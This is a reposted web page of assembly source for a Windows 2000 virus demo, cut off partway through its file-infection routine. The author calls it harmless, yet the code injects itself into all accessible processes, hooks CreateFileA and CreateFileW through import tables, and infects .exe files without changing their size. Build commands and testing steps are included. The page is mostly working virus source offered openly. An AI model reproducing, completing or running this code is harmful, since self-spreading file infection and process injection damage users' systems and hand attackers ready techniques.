Win2k病毒Demo

来源:互联网 发布:29t88ht数据 编辑:程序博客网 时间:2024/04/28 22:59

;*********************************************************************
;*                                                                   *
;*                   The program information                         *
;*                                                                   *
;* Program Name: PRC                                                *
;* Current Version: 0.91(not under strict test)                     *
;* Completed on 11-25, 2002                                         *
;*                                                                   *
;* This program is something like a virus. But it does not contain  *
;* any damage code. So it won't do harm to your system. It just     *
;* demonstrates a way of developing a resident virus                *
;* under Windows.                                                   *
;*                                                                   *
;*  You can connect me [archim@163.com] for technic discussions      *
;*                                                                   *
;*===================================================================*
;*                                                                   *
;* How to complile this program?                                    *
;*  tasm32 /m /ml pv.asm, pv.obj                                 *
;*  tlink32 -c -M -x -Tpe -ap -S:0x10000 -Sc:0x6000 pv.obj,      *
;*   pv.exe, , kernel32.lib user32.lib                        *
;* The two libraries of kernel32.lib and user32.lib can be          *
;* attained in the BC++5.5 compiler.                                *
;*                                                                   *
;*===================================================================*
;* History                                                          *
;*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*
;*                                                                   *
;* Version: 0.9                                                     *
;* Completed on 11-25, 2002                                         *
;*                                                                   *
;* 1) It can inject itself into the space of all the active        *
;*  processes in the system if access is permitted.              *
;* 2) It can hook the File Storage API functions of CreateFileA    *
;*  and CreateFileW. If the hook is successfully installed,      *
;*  all file operations that the process makes will be           *
;*  monitored by our code.                                       *
;* 3) It has the ability to infect the PE files with the           *
;*  extension ".exe". After the PE file has been infected,       *
;*  neither its size will increase, nor it will be infected      *
;*  a more time.                                                 *
;*                                                                   *
;*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*
;*                                                                   *
;* Version: 0.91                                                    *
;* under modification                                               *
;*                                                                   *
;* 1) Use CreateFileMapping and MapViewOfFile instead of ReadFile, *
;*  WriteFile and SetFilePointer to access the target file. The  *
;*  program size become much shorter.                            *
;* 2) Correct the bugs that the file is not closed if the file     *
;*  fails to be infected.                                        *
;*                                                                   *
;*********************************************************************

.386P
.model Flat, Stdcall

; If you want to play with the program, follow me.
; 1) Do change the value of 'DEBUG' unless you know exactly what the option will
;  affect the behavior of the program.
; 2) Compile and run the program.
; 3) Prepare some EXE files and rename them to "*test.exe" style. Wait a few
;  seconds, then search all EXE files containing the string "prcv0.9". If
;  any file has been found, it means the program works! If no file are
;  found, try more other files, because there are some EXE files the program
;  can't infect.
; 4) I develop the program under Windows 2000. I don't know what will happen
;  if it runs under Windows 98 or Windows XP.

;*********************************************************************
 FALSE   = 0
 TRUE   = 1
 DEBUG       = TRUE
 NO_EXCEPTION_HANDLER   = TRUE
 TRACE_REMOTE_THREAD    = 0
 SKIP_CURRENT_PROCESS   = 1
 INFECT_ALL_PROCESSES   = 1
 NOT_INFECT_FILES    = 0
 ERROR_DIAGNOSE     = 0
;*********************************************************************


TH32CS_SNAPMODULE = 00000008h

FILE_BEGIN  = 0
FILE_CURRENT = 1
FILE_END  = 2

OPEN_EXISTING   = 00000003h
if NOT_INFECT_FILES
OPEN_ALWAYS    = 00000004h
endif

FILE_ATTRIBUTE_NORMAL   = 00000080h

FILE_SHARE_READ  = 00000001h
FILE_SHARE_WRITE = 00000002h

GENERIC_READ  = 80000000h
GENERIC_WRITE  = 40000000h

FILE_MAP_WRITE  = 00000002h

MB_PRECOMPOSED  = 00000001h
MB_COMPOSITE  = 00000002h

CP_ACP   = 0
CP_OEMCP  = 1
CP_MACCP  = 2
CP_THREAD_ACP = 3

PAGE_READWRITE = 00000004h

FLAG_IN_DATA_SECTION = 00000001h
FLAG_USE_TWO_SECTIONS = 00000002h

MajorVersion   = 0
MinorVersion   = 9

MAX_PATH = 260


; sizeof(IMAGE_NT_HEADERS)
; Section Header offset   0xF8

; FieldName    Offset
;---------------------------------------------------------------------
; AddressOfEntryPoint  0x28
; SizeOfHeaders   0x54
; SizeOfStackCommit  0x64
; DataDirectory   0x78


;*********************************************************************
;*                                                                   *
;*                         Declare funtion prototype                 *
;*                                                                   *
;*********************************************************************
GetLastError  PROTO
MessageBoxA   PROTO :DWORD, :DWORD, :DWORD, :DWORD
GetModuleHandleA PROTO :DWORD
GetProcAddress  PROTO :DWORD, :DWORD
CreateFileA   PROTO :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD
CreateFileW   PROTO :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD
CloseHandle   PROTO :DWORD
FindFirstFileA  PROTO :DWORD, :DWORD
FindNextFileA  PROTO :DWORD, :DWORD

printf    PROTO :DWORD


;*********************************************************************
;*                                                                   *
;*                        Entry code section                         *
;*                                                                   *
;*********************************************************************
_TEXT segment use32 public 'CODE'

VirtualEntry:

  call GetLastError

  call GetCurrentEipToEbx
$A:
  ;mov esi, 00400000h
  ;mov eax, [esi+0000003Ch]
  ;lea edi, [esi+eax]
  ;mov edx, [edi+00000080h]
  ;mov eax, [edx+esi]
  ;add eax, esi
  ;mov ecx, [eax+00000010h]

  mov edx, offset GetLastError
  add edx, 2
  mov ecx, [edx]
  sub ecx, 00400000h

  mov eax, offset RvaOfFirstThunkOfKernel32
  sub eax, offset $A
  mov [ebx+eax], ecx

  mov eax, offset OriginalEntryPoint
  sub eax, offset $A
  mov ecx, offset lb_ExitCurrentProcess
  sub ecx, 00400000h
  ;add ebx, eax
  ;push ebp
  ;mov ebp, esp
  ;push 00400000h

  mov [ebx+eax], ecx
  jmp EntryOfVirusCode

lb_ExitCurrentProcess:

  ret

_TEXT ends

;*********************************************************************
;*                                                                   *
;*                        Data section                               *
;*                                                                   *
;*********************************************************************
_DATA segment use32 public 'DATA'

;---- Error Messages
szExceptionCaused  db "Exception error captured!",0
szError      db "Error",0
FileNameToFind  db 'g:/testfile/'
FileNameFound = $
     db '*.exe', 0
     db 260 dup (?)
TestFileW   dw 'G', ':', '/', 'P', 'R', 'O', '/', 'T', 'a', 's', 'm', '/'
     dw 'T', 'e', 's', 't', '.', 'e', 'x', 'e', 0
TestFileA   db 'G:/PRO/TASM/test.exe', 0

W32FindData   db 140h dup(?)

_DATA ends


;*********************************************************************
;*                                                                   *
;*                       Main code section                           *
;*                                                                   *
;*********************************************************************
VirSegment segment use32 public 'PRC'

MAX_WND_SIZE   = 1024
OFFSET_CODING_LENGTH = 10
M      = 3

BaseOfVirusCode = $

;*********************************************************************
;*                                                                   *
;* RestoreCompressedData()                                          *
;*                                                                   *
;* Remarks:                                                         *
;*  Restore the compressed data                                  *
;*                                                                   *
;* Parameters:                                                      *
;*  [Esi]                                                        *
;*  Point to the buffer containing decompression information     *
;*                                                                   *
;* Return Value:                                                    *
;*  None.                                                        *
;*                                                                   *
;*********************************************************************

RestoreCompressedData:

  cld
  mov edi, [ebp][lpImageBaseBaseOfProcess]
  lea edx, [ebx][SizeOfTransmission-@B]
  push edx
  lea ecx, [ebx+VIRUS_VIRTUAL_SIZE][BaseOfVirusCode-@B]
  push ecx
  lodsd
  push eax
  mov edx, edi  ;<
  lodsd    ;<
  add edx, eax  ;< pDataBuffer
  push edx   ;<
       ;<
  call LZ77Decompress

  add edi, [esi]
  mov esi, ecx

  mov ecx, 'HOLD'
SizeOfTransmission = $-4

  push ecx
  push esi
  push PAGE_READWRITE
  mov esi, edi
  call InvokeVirtualProtectEx
  pop esi
  pop ecx

  push ecx
  push edi

  cld
  rep movsb

  pop esi
  pop ecx

  push dword ptr [ebx][dwOldProtect-@B]
  call InvokeVirtualProtectEx

lb_ExitRestoreCompressedData:

  ret


RvaOfEntryPoint = $
  dd (offset EntryOfVirusCode - 00400000h)

RvaOfFirstThunkOfKernel32 = $
  dd 0

DecompressionParametersA = $
 dd 0 ;Total bits afetr compression.
 dd 0 ;Rva of the data buffer where the compressed data are stored in.
 dd 0 ;Rva of the data buffer where the compressed data are restored to.

DecompressionParametersB = $
 dd 0
 dd 0
 dd 0

EntryOfVirusCode:

 XX=-4
lpImageBaseBaseOfProcess  = XX

if NO_EXCEPTION_HANDLER
 XX=XX-4
else
 XX=XX-12
endif

lpImageBaseOfKernel32   = XX
 XX=XX-4
hSnapShot      = XX
 XX=XX-4
hProcessHandle     = XX
 XX=XX-4
lpBaseOfCodeInRemoteProcess  = XX

  pushad
  sub esp, VIRUS_BOOTING_SIZE
  mov edi, esp

  call @A
@A = $
  pop ebx

  lea eax, [ebx][EntryOfVirusCode-@A]
  mov ecx, [ebx][RvaOfEntryPoint-@A]
  sub eax, ecx

  lea esi, [ebx][BaseOfVirusCode-@A]
  mov ecx, VIRUS_PHYSICAL_SIZE
  cld
  rep movsb
  lea ebx, [esp][@B-BaseOfVirusCode]
  jmp ebx

@B = $

  push ebp
  mov ebp, esp

  push eax ; Initialize lpImageBaseBaseOfProcess
  add [ebx][OriginalEntryPoint-@B], eax

; Set up our exception handler. So when any exception occurs,
; our exception handler will get control first, and we can quit
; the virus code safely.
;=====================================================================
ife NO_EXCEPTION_HANDLER
  lea eax, [esp-8]
  xor esi, esi
  xchg eax, fs:[esi]
  lea ecx, [ebx][ExceptionHandler-@B]
  push ecx
  push eax
endif
;=====================================================================

; Let's locate the image base of the module 'Kernel32.dll'.

lb_LoopOfLocateKernel32:

  pop eax
  push eax

  mov ecx, [ebx][RvaOfFirstThunkOfKernel32-@B]
  mov eax, [eax+ecx]
  add [ebx][RvaOfFirstThunkOfKernel32-@B], dword ptr 4

lb_LoopOfCheck64KBoundaries:

  and eax, 0FFFF0000h
  cmp word ptr [eax], 'ZM'
  jnz lb_TryNextBoundary

  mov ecx, [eax+0000003Ch]
  add ecx, eax
  cmp dword ptr [ecx], 00004550h
  jnz lb_TryNextBoundary
  mov edx, [ecx+00000078h]
  add edx, eax
  mov esi, [edx+0000000Ch]
  add esi, eax
  lea edi, [ebx][NameOfKernel32-@B]
  call strcmpi
  jz lb_ImageBaseOfKernel32IsFound
  jmp lb_LoopOfLocateKernel32

lb_TryNextBoundary:

  sub eax, 00010000h
  jmp lb_LoopOfCheck64KBoundaries

lb_ImageBaseOfKernel32IsFound:

  push eax ; Intialize lpImageBaseOfKernel32

  mov esi, edx
  lea edi, [ebx][IfNameTable-@B]

; Let get the entry points of the Windows API functions which
; the virus code must use from the module 'kernel32.dll'.
lb_LoopOfGetEntryAddressOfApiFunctions:

  mov ecx, [edi]
  jecxz lb_AllAddressesGotten

  push eax
  push edi
  lea edi, [ebx+ecx]
  call GetProcedureAddress
  test eax, eax
  jz lb_ExitVirusProgram
  pop edi
  mov [edi][CallAddressTable-IfNameTable], eax
  pop eax
  add edi, 4
  jmp lb_LoopOfGetEntryAddressOfApiFunctions


lb_AllAddressesGotten:

  lea esi, [ebx][DecompressionParametersA-@B]
  call RestoreCompressedData

  jmp lb_NoSecondCompressedSection
JumpOffset = $-1
NextStatement = $

  lea esi, [ebx][DecompressionParametersB-@B]
  call RestoreCompressedData

lb_NoSecondCompressedSection:

;//}


@C = @B
; Now all the entry addresses of the Api functions have been relocated.
; That is very import.
;

; Let's go.
;{
  push 0
  push 2
  call dword ptr [ebx][lpfnCreateToolhelp32Snapshot-@C]
  test eax, eax
  jz lb_AllProcessesEnumerated

  push eax ; Initialize hSnapShot

  lea eax, [ebx][ProcessEntry32-@C]
  mov dword ptr [eax], 00000128h
  push eax
  push dword ptr [ebp][hSnapShot]
  call dword ptr [ebx][lpfnProcess32First-@C]
  test eax, eax
  jz lb_AllProcessesEnumerated

lb_LoopOfEnumerateAllProcesses:

ife INFECT_ALL_PROCESSES
 ife SKIP_CURRENT_PROCESS
  lea esi, [ebx][pe_szExeFile-@C]
  lea edi, [ebx][TargetProcessName-@C]
  call strcmpi
  jz lb_TryNextProcess

  call [ebx][lpfnGetCurrentProcessId-@C]
  cmp eax, [ebx][pe_th32ProcessID-@C]
  jnz lb_TryNextProcess
 else
  lea esi, [ebx][pe_szExeFile-@C]
  lea edi, [ebx][TargetProcessName-@C]
  call strcmpi
  jnz lb_TryNextProcess
 endif
endif

lb_TargetProcessFound:

  mov eax, [ebx][pe_th32ProcessID-@C]
  push eax
  push 0
  push 001F0FFFh ; PROCESS_ALL_ACCESS
  call [ebx][lpfnOpenProcess-@C]
  test eax, eax
  jz lb_TryNextProcess

  push eax ; Initailize hProcessHandle

  push 00000004h ; PAGE_READWRITE
  push 00001000h ; MEM_COMMIT
  push VIRUS_ALIGN_SIZE
  push 0
  push eax
  call [ebx][lpfnVirtualAllocEx-@C]
   ;push eax   ;<
   ;call GetLastError ;< Debug Code
   ;pop eax   ;<
  test eax, eax
  jz lb_ExitVirusProgram

  xchg eax, esi
  push esi ; lpBaseOfCodeInRemoteProcess
  lea edi, [ebx][ReturnValueFromRemoteProcess-@C]

  xor edx, edx
  mov [edi], edx ; Initialize return value
  push edx
  push VIRUS_ALIGN_SIZE
  lea ecx, [ebx][BaseOfVirusCode-@C]
  push ecx
  push esi
  push dword ptr [ebp][hProcessHandle]
  call [ebx][lpfnWriteProcessMemory-@C]
  test eax, eax
  jz lb_ExitVirusProgram

ife SKIP_CURRENT_PROCESS
  push ebx
endif

  xor ecx, ecx
  push ecx
  push ecx
  push ecx
  lea edx, [esi][RemoteThread-BaseOfVirusCode]
  push edx
  push ecx
  push ecx
  push dword ptr [ebp][hProcessHandle]
  call [ebx][lpfnCreateRemoteThread-@C]
  ;test eax, eax
  ;jz lb_ExitVirusProgram
ife SKIP_CURRENT_PROCESS
  pop ebx
endif

  push dword ptr [ebp][hProcessHandle]
  call [ebx][lpfnCloseHandle-@C]

lb_TryNextProcess:

  lea eax, [ebx][ProcessEntry32-@C]
  push eax
  push dword ptr [ebp][hSnapShot]
  call dword ptr [ebx][lpfnProcess32Next-@C]
  test eax, eax
  jz lb_ExitVirusProgram

  jmp lb_LoopOfEnumerateAllProcesses

lb_AllProcessesEnumerated:

  push dword ptr [ebp][hSnapShot]
  call [ebx][lpfnCloseHandle-@C]

lb_ExitVirusProgram:

  ;jmp lb_DirectlyExitVirusProgram

lb_DirectlyExitVirusProgram:

ife NO_EXCEPTION_HANDLER
  pop dword ptr fs:[0]
  pop ecx
endif
  mov esp, ebp
  pop ebp

  add esp, VIRUS_BOOTING_SIZE
  popad

  push offset lb_ExitCurrentProcess
OriginalEntryPoint = $-4
  ret


;*********************************************************************
;*                                                                   *
;* Get the current EIP into EAX. You can use this way to locate     *
;* the virus code.                                                  *
;*                                                                   *
;*********************************************************************
GetCurrentEipToEax:

  pop eax
  jmp eax

;*********************************************************************
;*                                                                   *
;* Get the current EIP into EBX. You can use this way to locate     *
;* the virus code.                                                  *
;*                                                                   *
;*********************************************************************
GetCurrentEipToEbx:

  pop ebx
  jmp ebx


;*********************************************************************
;*                                                                   *
;* strcmpi()                                                        *
;*                                                                   *
;* Remarks:                                                         *
;*  This routine compare two strings, case-insensitive.          *
;*                                                                   *
;* Parameters:                                                      *
;*  [ESI]                                                        *
;*  Point to string1.                                            *
;*  [EDI]                                                        *
;*  Point to string2                                             *
;*                                                                   *
;* Return Value:                                                    *
;*  If these two strings are identical,                          *
;*  ZF flag will be set.                                         *
;*  If these two strings are not identical,                      *
;*  ZF flag will be cleared.                                     *
;*                                                                   *
;*********************************************************************
strcmpi:

  push esi
  push edi
  push eax
  push ecx

  xor eax, eax
  xor ecx, ecx

lb_LoopOfCompareStrings:
  mov al, [esi]
  mov cl, [edi]
  inc esi
  inc edi

  cmp eax, 'A'
  jb lb_NotAsciiCharacter

  cmp eax, 'z'
  ja lb_NotAsciiCharacter

  cmp eax, 'Z'
  jbe lb_IsAsciiCharacter

  cmp eax, 'a'
  jae lb_IsAsciiCharacter

  jmp lb_NotAsciiCharacter

lb_IsAsciiCharacter:
; if the character is a ascii character, just convert it to lower-case.
  or eax, 20h
  or ecx, 20h

lb_NotAsciiCharacter:

  cmp eax, ecx
  jnz lb_StringsNotEqual
  jecxz lb_StringsIsEqual
  jmp lb_LoopOfCompareStrings

lb_StringsIsEqual:
lb_StringsNotEqual:

  pop ecx
  pop eax
  pop edi
  pop esi

  ret

;*********************************************************************
;*                                                                   *
;* IsAllZero()                                                      *
;*  [Param1]                                                     *
;*  [Param2]                                                     *
;*                                                                   *
;* Remarks:                                                         *
;*  This routine check if the contents of a specified buffer     *
;*  are all zero.                                                *
;*                                                                   *
;* Parameters:                                                      *
;*  [Param1]                                                     *
;*  Point to the buffer.                                         *
;*  [Param2]                                                     *
;*  The size of the buffer.                                      *
;*                                                                   *
;* Return Value:                                                    *
;*  If the buffer is all filled with Zero,                       *
;*  Z-flag will be set.                                          *
;*  If the buffer is not all filled with Zero,                   *
;*  Z-flag will be cleared.                                      *
;*                                                                   *
;*********************************************************************
IsAllZero:

  push esi
  push ecx
  push eax
  xor eax, eax

  mov esi, [esp+00000010h]
  mov ecx, [esp+00000014h]

  cld
lp_GetNextByteToCompare:

  lodsb
  test eax, eax
  jnz lb_ExitIsAllZero
  loop lp_GetNextByteToCompare

lb_ExitIsAllZero:

  pop eax
  pop ecx
  pop esi
  ret 8

;*********************************************************************
;*                                                                   *
;* RvaAddressToFileMappingAddress()                                 *
;*                                                                   *
;* Remarks:                                                         *
;*  This routine converts the RVA address to the file            *
;*  offset address.                                              *
;*                                                                   *
;* Parameters:                                                      *
;*  [Eax]                                                        *
;*  The RVA address                                              *
;*                                                                   *
;* Return Value:                                                    *
;*  If the RVA address can be converted, the file offset         *
;*  address will be returned in EAX. Otherwise, NULL will be     *
;*  returned in EAX.                                             *
;*                                                                   *
;*********************************************************************
RvaAddressToFileMappingAddress:

  push esi
  mov esi, [ebp][lpNtHeaders] ; Get Nt Heads

  movzx ecx, word ptr [esi+00000006h]
  lea esi, [esi+0000000F8H]

lp_CheckAllSections:

  mov edx, [esi+0000000Ch]

  cmp eax, edx
  jb lb_CheckNextSection

  add edx, [esi+00000010h]
  cmp eax, edx
  jae lb_CheckNextSection

  sub eax, [esi+0000000Ch]
  add eax, [esi+00000014h]
  add eax, [ebp][lpFileMapping]
  jmp lb_QuitRvaToFilePointer

lb_CheckNextSection:

  add esi, 00000028h ;40
  loop lp_CheckAllSections

  xor eax, eax

lb_QuitRvaToFilePointer:

  pop esi
  ret


;*********************************************************************
;*                                                                   *
;* InstallApiHook()                                                 *
;*  [Param1]                                                     *
;*  [Param2]                                                     *
;*                                                                   *
;* Remarks:                                                         *
;*  The routine tries to install a hook on the specified         *
;*  Windows API function.                                        *
;*                                                                   *
;* Parameters:                                                      *
;*  [Eax]                                                        *
;*  The image base of the module on which the hook function      *
;*  will be installed.                                           *
;*  [Edx]                                                        *
;*  The RVA of the import descriptor array.                      *
;*  [Esi]                                                        *
;*  Point to the string which contains the name of the API       *
;*  function on which the hook will be installed.                *
;*  [Param1]                                                     *
;*  The entry address of the hook of the API function.           *
;*  [Param2]                                                     *
;*  Point to the variable which saves the original entry         *
;*  address of the API function.                                 *
;*                                                                   *
;* Return Value:                                                    *
;*  If the hook has been successfully installed on the API       *
;*  function, CF flag will be set. Otherwise, CF flag will       *
;*  be cleared.                                                  *
;*                                                                   *
;*********************************************************************
InstallApiHook:

PARAMETERS_BASE = 4 + 3*4

  push eax
  push edx
  push esi
  push edi

lb_LoopOfCheckImportDescriptors:
  push (SIZE_OF_IMPORT_DESCRIPTOR)
  push edx
  call IsAllZero
  jz lb_ApiHookInstallationFail

  mov ecx, [edx]
  jecxz lb_TryNextImportDescriptor

  add ecx, eax

lb_LoopOfCheckDataThunks:

  mov edi, [ecx]
  test edi, edi
  jz lb_TryNextImportDescriptor
  test edi, 80000000h
  jnz lb_TryNextDataThunk

  add edi, eax
  inc edi
  inc edi
  call strcmpi
  jz lb_ApiFunctionIsFound

lb_TryNextDataThunk:

  add ecx, 4
  jmp lb_LoopOfCheckDataThunks

lb_TryNextImportDescriptor:

  add edx, SIZE_OF_IMPORT_DESCRIPTOR
  jmp lb_LoopOfCheckImportDescriptors

lb_ApiFunctionIsFound:

  mov edi, [edx+00000010h]
  sub edi, [edx]
  add ecx, edi

  push PAGE_READWRITE
  mov esi, ecx
  xor ecx, ecx
  call InvokeVirtualProtectEx
  test eax, eax
  jz lb_ApiHookInstallationFail

  mov eax, [esi]     ;<
  mov ecx, [esp+00000014h]  ;<
  mov edx, [ecx]                  ;<
  cmp [eax], edx     ;<
  jz lb_ApiHookAlreadyInstalled ;<

  mov edx, [esp+00000018h]  ;< Save the original entry address of
  mov [edx], eax     ;< the API function

  mov [esi], ecx     ;Modify the entry address of the API function

  push dword ptr [ebx][dwOldProtect-@X]
  xor ecx, ecx
  call InvokeVirtualProtectEx
  test eax, eax
  jz lb_ApiHookInstallationFail

  stc
  jmp lb_ExitInstallApiHook


lb_ApiHookInstallationFail:
lb_ApiHookAlreadyInstalled:

  clc

lb_ExitInstallApiHook:

  pop edi
  pop esi
  pop edx
  pop eax
  ret 8


;*********************************************************************
;*                                                                   *
;* Remarks:                                                         *
;*  The rountine run in the context of a remote process. It will *
;*  try to install a hook on the API functions of CreateFileA    *
;*  and CreateFileW                                              *
;*                                                                   *
;* Parameters:                                                      *
;*  [Param1]:                                                    *
;*  The thread which call CreateRemoteThread to create this      *
;*  thread pass the parameter. The parameter is not used here.   *
;*                                                                   *
;* Return Value:                                                    *
;*  If the hooks have been successfully installed, the return    *
;*  value is 1, otherwise -1 will be returned.                   *
;*                                                                   *
;*********************************************************************
 XX=-4
hSnapShotOfModuleEnumeration = XX
 XX=XX-4
lpModuleEntry32     = XX
 XX=XX-4
dwReturnValue     = XX
 XX=XX-4

RemoteThread:

; The follow statements looks like a dead loop. Yes, it is so.
; But they are helpful in tracing the thread in the remote process.
; When the thread is created in the remote process, it will
; immediately runes into the dead-loop. It won't go out unitil
; somebody help it. First you can activate the process in the
; context of whom the thread has been created. Now you can
; activate SoftIce by pressing CTRL+D. You have a very big chance
; to get the breakpoint which is exactly located in the dead-loop.
; Now you can modify ECX register to any non-zero value. The
; dead loop no longer exists. And you can trace thread in the
; context of the remote process.
if TRACE_REMOTE_THREAD
  xor ecx, ecx
  jecxz $
endif

  push ebp
  mov ebp, esp

  call GetCurrentEipToEbx
@Xd:
  add ebx, @X - @Xd

  push 0
  push TH32CS_SNAPMODULE
  call [ebx][lpfnCreateToolhelp32Snapshot-@X]
  test eax, eax
  jz lb_ExitRemoteThread

  push eax ;Initialzie hSnapShotOfModuleEnumeration

  lea edi, [ebx][ModuleEntry32-@X]
  mov dword ptr [edi], 00000224h
  push edi ;Initialize lpModuleEntry32
  push -1  ;Initialize dwReturnValue

  push edi
  push eax
  call [ebx][lpfnModule32First-@X]
  test eax, eax
  jz lb_ExitRemoteThread

lb_LoopOfEnumerateModulesOfCurrentProcess:

  mov eax, [edi][me_modBaseAddr-ModuleEntry32]
  mov ecx, [eax+0000003Ch]
  lea edx, [eax+ecx]
  mov ecx, [edx+00000080h]
  jecxz lb_TryNextModule
  lea edx, [eax+ecx]

  ;push 247C8B60h
  lea esi, [ebx][n_CreateFileW-@X]
  lea ecx, [ebx][OriginalEntryOfCreateFileW-@X]
  push ecx
  lea ecx, [ebx][HookOfCreateFileW-@X]
  push ecx
  call InstallApiHook
  jnc lb_TryToInstallHookOnCreateFileA

  push 1
  pop dword ptr [ebp][dwReturnValue]

lb_TryToInstallHookOnCreateFileA:

  ;push 24748B60h
  lea esi, [ebx][n_CreateFileA-@X]
  lea ecx, [ebx][OriginalEntryOfCreateFileA-@X]
  push ecx
  lea ecx, [ebx][HookOfCreateFileA-@X]
  push ecx
  call InstallApiHook
  jnc lb_TryNextModule

  push 1
  pop dword ptr [ebp][dwReturnValue]

lb_TryNextModule:

  push edi
  push dword ptr [ebp][hSnapShotOfModuleEnumeration]
  call [ebx][lpfnModule32Next-@X]
  test eax, eax
  jz lb_ExitRemoteThread

  jmp lb_LoopOfEnumerateModulesOfCurrentProcess

lb_ExitRemoteThread:

  push dword ptr [ebp][hSnapShotOfModuleEnumeration]
  call [ebx][lpfnCloseHandle-@X]

  pop eax
  mov esp, ebp
  pop ebp

  cmp eax, 1
  jz lb_ApiHookSuccessfullyinstalled

  pop ecx
  pop edx
  push 00004000h
  push VIRUS_ALIGN_SIZE
  lea edx, [ebx][BaseOfVirusCode-@X]
  push edx
  push -1
  push ecx
  jmp [ebx][lpfnVirtualFreeEx-@X]

lb_ApiHookSuccessfullyinstalled:

  mov byte ptr [ebx][IsBusy-@X], 0 ; Initialize the Busy Flag
  ret 04

;*********************************************************************
;*                                                                   *
;* InvokeVirtualProtectEx()                                         *
;*  [Param1]                                                     *
;*                                                                   *
;* Remarks:                                                         *
;*  Invoke the Windows API function of VirtualProtectEx to       *
;*  change R/W access of the specified memory block.             *
;*                                                                   *
;* Parameters:                                                      *
;*  [Esi]:                                                       *
;*  Pointer to the start address of the buffer whose R/W access  *
;*  will be changed.                                             *
;*  [Ecx]:                                                       *
;*  The size of the buffer.                                      *
;*  [Param1]:                                                    *
;*  New R/W access for the buffer.                               *
;*                                                                   *
;* Return Value:                                                    *
;*  The value returned returned from VirtualProtectEx.           *
;*                                                                   *
;*********************************************************************
InvokeVirtualProtectEx:

  call GetCurrentEipToEax
@8 = $
  pop dword ptr [eax][ReturnFromInvokeVirtualProtectEx-@8]
  add eax, dwOldProtect - @8

  pop edx
  push eax
  push edx
  test ecx, ecx
  jnz lb_UseSpecifiedSize
  mov ecx, 00001000h
lb_UseSpecifiedSize:
  push ecx
  mov edx, esi
  and edx, 0FFFFF000h
  push edx
  push -1
  call dword ptr [eax][lpfnVirtualProtectEx-dwOldProtect]

  push 'HOLD'
ReturnFromInvokeVirtualProtectEx = $-4
  ret


;*********************************************************************
;*
;* Hook functions on the API functions of CreateFileA and
;* CreateFileW. When someting want to call the API function of
;*  CreateFileA or CreateFileW anyway, our hook functions will get
;* called first. You can do anything you want in the hook
;* functions. And then you will call the real CreateFileA or
;* CreateFileW function which is exported by kernel32.dll to
;* complete the file creation request.
;*
;*********************************************************************
;HANDLE CreateFile(
;  LPCTSTR lpFileName,                         // file name
;  DWORD dwDesiredAccess,                      // access mode
;  DWORD dwShareMode,                          // share mode
;  LPSECURITY_ATTRIBUTES lpSecurityAttributes, // SD
;  DWORD dwCreationDisposition,                // how to create
;  DWORD dwFlagsAndAttributes,                 // file attributes
;  HANDLE hTemplateFile                        // handle to template file
;  )
;  The stack is like the following figure when FindFirstFile is called
;  ______________________________
; |       Return Address         | <<== ESP (Low Address)
; |______________________________|
; |         lpFileName           |
; |______________________________|
; |        dwDesiredAccess       |
; |______________________________|
; |          dwShareMode         |
; |______________________________|
; |     lpSecurityAttributes     |
; |______________________________|
; |     dwCreationDisposition    |
; |______________________________|
; |     dwFlagsAndAttributes     |
; |______________________________|
; |        hTemplateFile         |
; |______________________________|
;
;
; After PUSHAD statement is executed, the stack looks like this:
;  ______________________________
; |             EDI              | 000h: | <<== ESP
; |______________________________|       |
; |             ESI              | 004h: |
; |______________________________|       |
; |             EBP              | 008H  |
; |______________________________|       |
; |             ESP              | 00CH  |   pushad
; |______________________________|       |
; |             EDX              | 010h  |
; |______________________________|       |
; |             ECX              | 014H  |
; |______________________________|       |
; |             EBX              | 018H  |
; |______________________________|       |
; |             EAX              | 01CH  |
; |______________________________|       |__
; |       Return Address         | 020H
; |______________________________|
; |         lpFileName           | 024h
; |______________________________|
; |        dwDesiredAccess       | 028h
; |______________________________|
; |          dwShareMode         | 02CH
; |______________________________|
; |     lpSecurityAttributes     | 030H
; |______________________________|
; |     dwCreationDisposition    | 034H
; |______________________________|
; |     dwFlagsAndAttributes     | 038H
; |______________________________|
; |        hTemplateFile         | 03CH
; |______________________________|


HookOfCreateFileW:

  pushad

  mov edi, [esp+00000024h]
  call InfectPeFile

  popad
  push 'Hold'
OriginalEntryOfCreateFileW = $-4
  ret


HookOfCreateFileA:

  pushad
  mov esi, [esp+00000024h]
  call GetCurrentEipToEax
@0:
  lea edi, [eax+00001000h][BaseOfVirusCode-@0]
  ;lea edi, [eax+00000E00h][BaseOfVirusCode-@0]

  push 0000200h
  push edi
  push -1
  push esi
  ;push MB_PRECOMPOSED
  push MB_COMPOSITE
  push CP_THREAD_ACP
  call [eax][lpfnMultiByteToWideChar-@0]
  test eax, eax
  jz lb_ExitHookOfCreateFileA

  call InfectPeFile

lb_ExitHookOfCreateFileA:

  popad
  push 'Hold'
OriginalEntryOfCreateFileA = $-4
  ret

;*********************************************************************
;*                                                                   *
;* InfectPeFile()                                                   *
;*                                                                   *
;* Remarks:                                                         *
;*  Infect the specified PE file with our virus code.            *
;*                                                                   *
;* Parameters:                                                      *
;*  [Edi]                                                        *
;*  Point to a null-terminated wide-character string containing  *
;*  the PE file name.                                            *
;*                                                                   *
;* Return Value:                                                    *
;*  None.                                                        *
;*                                                                   *
;*********************************************************************
  X=-4
  XX=-4
tmpVar       = XX
dwNumberOfBytesRead    = (tmpVar)
dwNumberOfBytesWritten   = (tmpVar)
  XX=XX-4
i        = XX
ulAddressOfVCode    = XX
  XX=XX-4
pSectionOfOriginalDataAndCode = XX

DWORDSofCompressionInfo  = 6

  XX=(XX)-(4*DWORDSofCompressionInfo)
CompressionInfoAA    = XX
  XX=(XX)-(4*DWORDSofCompressionInfo)
CompressionInfoBB    = XX
   off_pSection    = 0000h
   off_OriginalVirtualAddress = 0004h
   off_pCompressedDataBuffer = 0008h
   off_ulNumTotalBits   = 000Ch
   off_ulNumUsedBytes   = 0010h
   off_ulNumFreeBytes   = 0014h
  XX=XX-4
  SIZE_OF_LOCAL_VARS=X-XX

lpszFileNameToOpen      = XX
  XX=XX-4
hFileHandle        = XX
  XX=XX-4
hFileMappingHandle      = XX
  XX=XX-4
lpFileMapping       = XX
  XX=XX-4
dwTotalFileSize       = XX
  XX=XX-4
lpNtHeaders        = XX
  XX=XX-4
ulInformation       = XX
  XX=XX-4

InfectPeFile:

  push ebp
  mov ebp, esp

  call GetCurrentEipToEbx
RelocE = $
  add ebx, @X - RelocE

